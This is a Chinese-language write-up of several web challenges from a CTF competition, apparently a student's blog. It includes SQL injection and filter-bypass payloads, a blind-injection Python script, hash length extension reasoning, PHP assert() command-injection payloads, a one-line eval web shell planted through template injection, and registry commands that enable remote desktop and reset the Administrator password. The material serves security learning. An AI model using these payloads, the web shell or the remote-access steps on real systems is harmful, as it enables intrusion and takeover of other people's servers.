ZJGSCTF-writeup
——ZJGSCTF——-
——持续更新中——-
[9-7]综合题
涉及范围:编码及Linux
页面乱码,猜测是一种编码方式,由 [ ] ! + ( ) { } 组成
参考 编码与加密
得出是jsfuck编码,百度 在线解码
解码得出:1bc29b36f623ba82aaf6724fd3b16718.php
原地址去掉index.php,加上1bc29b36f623ba82aaf6724fd3b16718.php,访问
脑袋,猜测地址1bc29b36f623ba82aaf6724fd3b16718.php的前部分32位为MD5编码
对其试解码得:MD5
考虑原地址b0b0ad119f425408fc3d45253137d33d为MD5解码,解码失败。
再进行了访问MD5.php等方法,无果,有点无从下手。
退档重新思考,再看提示,发现掉坑里,tip在我脑袋里应该是指包的头部,burpsuite抓包发现tip
百度 history of bash
于是访问 ./.bash_history
有过一次压缩文件命令,访问 ./flagbak.zip
下载解压,得到flag
[8-31]水能载舟亦可赛艇
涉及范围:php源码,sql注入
看到页面,好像典型的sql注入,但是web日常先看源码
好像有点提示,尝试去url访问source.txt,得到源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "姘村彲杞借垷锛屼害鍙禌鑹囷紒";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "浜﹀彲璧涜墖锛�";
}
}else{
print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);
?>
分析源码:
- 第一大块是判断两个变量uname,pwd是否为空。
- 第二大块是进行了sql过滤。
- 第三大块查询了数据库,flag被两个if包括着,第一个if限定查询结果只有一行,第二个if要求pwd相等
由于sql过滤严格,sql注入尝试无果。
考虑从pwd相等入手,利用 or,limit offset, # 先过滤第一个if1
'or '1'='1' limit 1 offset 0 #
第二个if 用到 group by 和 with rollup (rollup–>汇总,使group by的列的值为null,汇总其他列的数值)
利用这两个函数,构造 null = null1
'or '1'='1' group by pwd with rollup limit 1 offset 0#
offset 0 到 n 尝试得到我们汇总 pwd = null 的那一行
同时使 pwd = null (不是填写null,空着就好)
[9.18]有点意思吧
涉及范围:php源码,hash长度扩展攻击
抓包,source这个参数有点奇怪,尝试改为1,得到源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}
分析源码:
- 第一个if:要求cookie里的getmein不为空
- 第二个if:username 等于 admin ; password 不等于 ‘admin’
- 第三个if:getmein 等于 未知15位secret+username+password 的MD5
因为MD5,url解码,一开始以为是php语言漏洞,诸多尝试无果。
仔细收集已有信息,分析问题如下
有 未知15位secret+’admin’+’admin’ 的hash
求 未知15位secret+’admin’+password 的hash
查阅资料,新的知识盲区,密码学知识: hash长度扩展攻击
之后的题解就参考别人的吧:
- c语言MD5的题解:最后一步计算MD5前512位随便是因为在C代码中ABCD改的不是初始值,而是512为整数的分组执行完毕之后的ABCD。
- python的题解hashpumpy和hashpump
然后是给自己以后看,方便回忆的粗糙原理手绘图QAQ
- 512位的分组后面第一位写1,再补零,后64位写原来的长度,使之生成的MD5与secretadminadmin的完全一致
- 本地生成MD5时,512位的分组随便填写,最后一次变换的ABCD值用secretadminadmin的MD5值转变来(高地位互换),之所以要512位的分组是让最后填充的长度数值相同
有点意思吧2
戳这里=w=
此题前提:[9.18]有点意思吧
涉及范围:目录遍历,file命令,.swp,php源码,hash长度攻击,脚本
web日常1:先看源码,没啥东西。
web日常2:跑目录——用字典替换url后缀,访问,查看是否成功。可用burpsuite+字典 或 工具
(多线程 HTTPConnectionPool问题 暂未解决)
看到index.php~,访问,下载过来一个文件
文件日常:拉到kali下用file,binwalk 判断文件类型和有没有隐藏 (后缀是~,和开头是 . 的文件在桌面不直接显示,需要ls查看)
vim的swp格式:vim编写的文件可能会有错误遗留文件:data.php –> .data.php.swp (若修改文件再次错误 后缀变为.swo .swn 尾字母向前推移)
index.php~加上.swp后缀。用vim -r index.php~.swp 恢复读写模式可以打开,得到页面源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is“
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>
</body>
</html>
serialize与unserialize函数 strrev函数
结合抓包,分析源码:
- 要求 role不为空 ,此处必然满足,不考虑
- 要求 role反序列化后 === ‘admin’
- 要求 MD5(salt.role的反转字符串) === hsh
- 已知 MD5($salt.”;”tseug”:5:s“) = 3a4727d57463f122833d9e732f94e4e0
解决第一个反序列化后相等,利用php在线测试序列化与反序列化的特性及漏洞:
序列化:根据数据结构变成特定的字符串,s为str,i为int,{ }为数组等等。
反序列化:根据开头判断数据结构类型,只会读取该结构内的字符,后面的字符不做处理。
根据以上特性,使role开头 = s:5”admin”; 就可满足条件。
解决第二个HASH相等,根据hash长度攻击的要求:
- 因为反转,role的末尾需要 = s:5”guest”;
- salt的长度未知,考虑利用python脚本暴力破解
python脚本如下:
1 | # encoding=utf8 |
运行结果如下:
[9.1]看起来有点难啊
涉及范围:sql盲注
哎,做完之后感想,还是才学疏浅没有脑洞的J,第一步就卡死了。
进行以下sql注入尝试,尝试得到两种返回状况1
2
3
4
5
6
7
8
9admin= 1’ and '1'='1' --+ pwd=1
admin= 1’ or '1'='1' --+ pwd=1
admin= admin‘ and '1'='1' --+ pwd=1
admin= admin' and '1'='2' --+ pwd=1
admin= admin’
总结出题目的三种返回状态:
- 数据库链接失败!:从数据库返回0行
- 登录失败,错误的用户名和密码:从数据库有返回
- 空白: sql语句错误
有小朋友可能要提出,为啥要试admin呀,我一开始就是没有想到试admin,也没有用 or 找到三种返回的规律,两脸蒙蔽。
但是只要想到 1’ or ‘1’=’1‘ and 巴拉巴拉 --+
一样可以得到两种返回状态,只不过再需要盲注一下username得出admin
于是就是布尔型盲注
然后就盲注套路走起来:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16#判断列
sql_column="admin' and column is not null" #替换column 得到 username password
#判断表
sql_table="admin' and table.column is not null" #替换table 得到 admin
#列出password
sql="admin' and ascii(substring(password,%s,1))-%s -- "
或
sql=“admin' and substring(password,1,1)= 'i' -- ”
sql=“admin' and ascii(substring(password,1,1)) = '123' -- ”
sql=“admin' and password like 'i%' -- ”
sql=“admin' and password = 'flag' -- ”
sql=“admin' and ascii(substring(password,%s,1))-10 -- ”
sql=“admin' and case when(substr(password,%s,1)='i') then sleep(10) else sleep(0) -- ”
sql=“admin' and if(substr(password,%s,1)='i') ,sleep(10) , sleep(0) -- ”
另外在此题中不能使用select,简单尝试过滤无效,就不用类似"admin' and (select password from table)>0"
注入。
最后贴上跑username和password的代码,注意
- 访问太频繁会被禁止访问,考虑sleep或改参数几位几位跑
- 页面编码不同无法直接显示匹配字符,右键返回页面查看源码发现是GB2312,解码匹配
- chr() : ascii–>字符
1 | #coding:utf-8 |
脚本出username,password直接提交得到FLAG。
哎….常规套路的题目做了半天………QAQ
皇家邮电平台
涉及范围:源码泄露,本地文件包含,sql注入,后门利用
这题题目步骤以及源码较多,自己写需要花大力气,查到两篇不错的writeup,互补贴用了。
题解1
题解2(ctrl+f 皇家)
大致记录一下解题的点:
- 观察各个页面的源代码,发现
file=sm.txt
,修改参数得到各个页面的源码 - 分析源码,得到更多页面,发现后台登录页面;
- 分析源码,sql只过滤一遍,过滤不严格,sql注入点在so.php
- 根据提示爆破账号密码
- 后台登录界面登录,得到回调木马
- 利用木马遍历目录,得到flag
这题环环相扣,漏掉一点都无法继续,也有很多多余的杂乱信息。
从分析页面到getshell,可以说是比较现实的WEB渗透了。
对后门我也是只懂皮毛….贴上找到的知识贴——关于各种后门
放上自己的注入代码:1
2爆破账号密码:
soid=chacharr(49)/**/anandd/**/(seselectlect/**/ascii(substring(userpaspasss,1,1))/**/ffromrom/**/aadmindmin)<>1
Q&A
遍历后的出现目录的页面 乱码 :下载页面,到sublime中换编译方式打开即可
还有好长的路呢…..慢慢学习嗯
babyphp
.git信息泄露 hackgit php字符串拼接注入
全程知识盲区…
about页面得知用到git
git的配置不当有可能导致.git信息泄露,漏洞表现:
- 可以查看 .git .git/objects
- 可以下载 .git/index
利用githack尝试下载源码,有一些php,找到目标flag.php
index.php其中关键源码:
‘’’php
<?php
if (isset($_GET[‘page’])) {
$page = $_GET[‘page’];
} else {
$page = “home”;
}
$file = “templates/“ . $page . “.php”;
assert(“strpos(‘$file’, ‘..’) === false”) or die(“Detected hacking attempt!”);
assert(“file_exists(‘$file’)”) or die(“That file doesn’t exist!”);
?>
‘’’
咋一看并没有什么软用,但是
- 可以控制$page的值
- php神奇的特性,字符串链接命令,命令可以执行
字符串链接 - 与sql注入原理相同的php拼接写入代码
payload(为了清楚,变量不写””):
‘’’php
$page = ‘.system(“ls ./templates”).’ ;
$file(合并后) = templates/‘.system(“ls ./templates”).’..php ;
assert(“strpos(‘templates/.’ . system(“ls ./templates”) . ‘..php’ , ‘..’ ) === false”)
‘’’
由于assert函数,会把””中的语句当做php代码执行,所以可以在其中用//注释””后面乱七八糟的语句,自己构筑代码
所以给出另一个payload
‘’’php
$page = ‘, ‘..’) === false and system(‘cat ./templates/flag.php’); // ;
$file(合并后) = templates/‘, ‘..’) === false and system(‘cat ./templates/flag.php’); //.php ;
assert( “strpos(‘templates/‘ , ‘..’) === false and system(‘cat ./templates/flag.php’); //.php’, ‘..’ ) === false” );
‘’’
两种payload都可以在system(" ")
中可以执行任意linux命令
flag.php返回需要查看源码才能看到…….嗯..绝望卡了两年
俄罗斯方块
js代码 jsFuck
一开始推断是到分数有服务器返回什么,抓包尝试修改无效。
源码找到tetris.js
js代码格式化后阅读代码,找到关键代码:1
2
3
4
5
6
7this.mayAdd = function(a) {
if (this.scores.length < this.maxscores) return 1E6 < a && (a = new p, a.set("urlkey", "webqwer" [1] + "100.js", 864E5)),
!0;
for (var b = this.scores.length - 1; 0 <= b; --b) if (this.scores[b].score < a) return 1E6 < a && (a = new p, a.set("urlkey", "webqwer" [1] + "100.js", 864E5)),
!0;
return ! 1
};
如果满足1E6 < a执行a.set("urlkey", "webqwer" [1] + "100.js", 864E5)
此处传入三个参数“urlkey”,“e100.js”,864ES
查看set函数1
2
3
4
5
6
7
8
9this.set = function(b, d, a, c, e, f) {
this.del(b);
c || (c = "/");
b = b + "=" + escape(d);
a && (a = new Date((new Date).getTime() + 1E3 * a), b += "; expires=" + a.toGMTString());
b = b + (c ? ";\tpath=" + c: "") + (e ? ";\tdomain=" + e: "");
b += f ? ";\tsecure": "";
document.cookie = b
};
发现函数应该是传入5个参数,有问题。
一个坑,其实三个参数只是提示,并不是可以执行的。
urlkey —> url地址访问e100.js 864ES忽略
jsfuck编码,这里
得到flag
全球某工商CTF-安全系的博客
后台 伪验证 sql注入 登录 模板注入攻击 菜刀
很厉害的一个网页,随便点点没什么发现。
右键源码一个个看,没什么发现。
上工具SourceLeakHacker跑目录
先尝试访问200(正确返回),没有可用信息
再尝试访问303(跳转),找到/admin跳转至后台登录界面/admin-sign
随意试着登录,有逐层递进四种返回状态:
+ 参数不能为空!:判断参数是否为空
+ 验证码不正确!:判断验证码
+ 用户名不存在!:判断用户名是否存在
+ 用户认证失败!:判断密码是否正确
先要解决验证码问题,抓包发现,发送账号密码验证码等信息后会再发一个请求包,来修改验证码图片
丢弃这个包,验证码不再发生变化,等于绕过了验证
尝试sql注入
在用户名处发现注入点admin' and '1'='1
返回 用户认证失败admin' and '1'='2
返回 用户名不存在
ps.关于解码/u 在返回包中有写着charset=UTF-8,在python中urllib.unquote(b)
即可
boolean型盲注password,给出脚本代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#coding:utf-8
import requests
import urllib
url="http://10.21.13.225/admin-sign/login"
payloads="1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM,./;'[]\_@!#$%^&*()-=+~`[];'./"
#判断列
sql_column="admin' and column is not null--+" #替换column 得到 password
#列出password
sql="admin' and ascii(substring(password,%s,1))=%s-- "
cookies = dict(ci_session='b9de57e065184832d04df4c4aa18242f13e04d89')
#headers = {"Content-Type": "application/x-www-form-urlencoded"}
def exp(i,x):
data={'username':sql %(i,x),'password':'21232f297a57a5a743894a0e4a801fc3','verify':'学商商浙浙商'}
response=requests.post(url,cookies=cookies,data=data)
#print response.content
if response.text.find('\u8ba4') != -1:
return 1
else :
return 0
key=''
print('start')
for i in range(1,59):
print i
for x in xrange(30,151):
if exp(i,x)==1 :
key += chr(x)
print(key)
break
得到admin的密码MD5为1c63129ae9db9c60c3e8aa94d3e00495
直接登录到后台。
发现修改语言里面的东西没有权限。
发现有管理员账号orleven,平行越权修改管理员密码。
平行越权:设置-修改密码,抓包修改admin为orleven。
登录进入中文的编辑语言界面。(如果选英文的需要设置为启动,不然之后菜刀连接不上界面)
尝试模板注入漏洞,后尾加入";phpinfo();"
闭合前后引号
页面变化,说明修改了代码可以执行
再加入菜刀php木马";@eval($_POST['Cknife']);"
连上菜刀
可以直接在桌面上找到flag
或者继续:
切换到菜刀终端模式,开启远程连接3389端口1
2
3
4删除注册表
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f
添加注册表
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
修改密码net user Administrator (复杂的密码)
打开远程桌面连接,账号administrator 密码
桌面上得到flag